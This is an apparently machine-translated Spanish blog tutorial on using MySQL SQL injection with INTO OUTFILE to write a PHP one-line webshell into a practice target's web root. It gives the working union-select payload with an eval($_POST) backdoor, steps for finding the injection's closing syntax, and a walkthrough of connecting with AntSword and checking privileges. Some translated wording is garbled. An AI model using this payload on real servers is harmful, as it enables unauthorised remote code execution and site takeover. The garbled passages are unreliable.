Inyección SQL: carga de archivos

Tabla de contenido

Primero, puntos de carga de archivos mysql

En segundo lugar, el comando de carga de archivos

caballo de troya de una palabra

Tres, ejemplos

1. Determinar el método de inyección 

2. Pruebe el método de cierre del sitio web de destino:

3. Escribe una frase caballo de Troya

4. Toma el control 


Primero, puntos de carga de archivos mysql

1, muestra variables como '%secure%'; se usa para verificar si mysql tiene permiso para leer y escribir archivos

2. El permiso de archivo de la base de datos especifica si el usuario de la base de datos tiene permiso para escribir y leer los permisos existentes en el sistema operativo.

3. El entorno utilizado por el comando into outfile: debe conocer uno, la ruta completa de la carpeta en el servidor donde se pueden escribir los archivos

En segundo lugar, el comando de carga de archivos

De hecho, nuestro objetivo final es cargar un caballo de Troya de una oración en el campo de tiro al blanco, o un archivo php que queramos cargar.

Uso para cargar archivos:

(1) Se puede escribir directamente en el directorio del sitio web y luego se puede conectar directamente como un caballo de Troya de una oración.

(2) Se encuentra que el sitio web de destino contiene archivos y, al mismo tiempo, la base de datos tiene permiso para escribir un caballo de Troya de una oración para su uso.

caballo de troya de una palabra

?id=-1')) union select 1,2,"<?php @eval($_POST['hyc']); ?>" en el archivo de salida "D:\\phpstudy_pro\\WWW\\hyc.php" --+

<?php @eval($_POST['contraseña']);?>: caballo de Troya de una oración

contraseña es la contraseña reservada, la contraseña dada aquí es hyc

D:\\phpstudy_pro\\WWW\\ es la ruta del archivo

hyc.php es el nombre del archivo recién insertado

Tres, ejemplos

1. Determinar el método de inyección 

 Cuando le pasemos el valor, se le pedirá... outfile, lo que indica que se puede usar la inyección de carga de archivos

2. Pruebe el método de cierre del sitio web de destino:

Pero el contenido del error no muestra dónde se informa el error.

Entonces usamos --+ para ver si es el modo cerrado, el error que se muestra en la figura a continuación permanece sin cambios, por lo que el modo cerrado no lo es.

Así que realizaremos una prueba más detallada:

Cuando intentamos ')) funciona bien

Por supuesto, puede haber algunas coincidencias en el proceso de prueba, como usar " para obtener el mismo resultado.

es porque la respuesta correcta ')) se cierra de una forma que invalida"

¿Cómo resolverlo?

Podemos probar con y 1=1 y y 1=2

Prueba de comillas dobles:

 Los dos resultados son iguales, lo que indica que "no es el resultado correcto".

Prueba de comillas simples y corchetes dobles:

 

Los dos resultados son diferentes, "lo incorrecto es incorrecto", por lo que encontramos la forma correcta de cerrar.

Número de columnas de prueba

3. Escribe una frase caballo de Troya

 Puede ver el troyano escrito en la ruta de destino:

Ábrelo para ver lo que está escrito dentro:

4. Toma el control 

 Usa la espada de hormigas para conectarte al campo de tiro al blanco:

Después de obtener el derecho de uso de la computadora, se logra el objetivo de inyección: 

También puede usar whoami para ver los permisos de Xiaopi aquí Le di permisos de usuario ordinario, no permisos de administrador.

 A continuación, puede subir a Malasia y recuperarse para obtener el shell web.

Supongo que te gusta

Origin blog.csdn.net/heyingcheng/article/details/129461703
Recomendado
Clasificación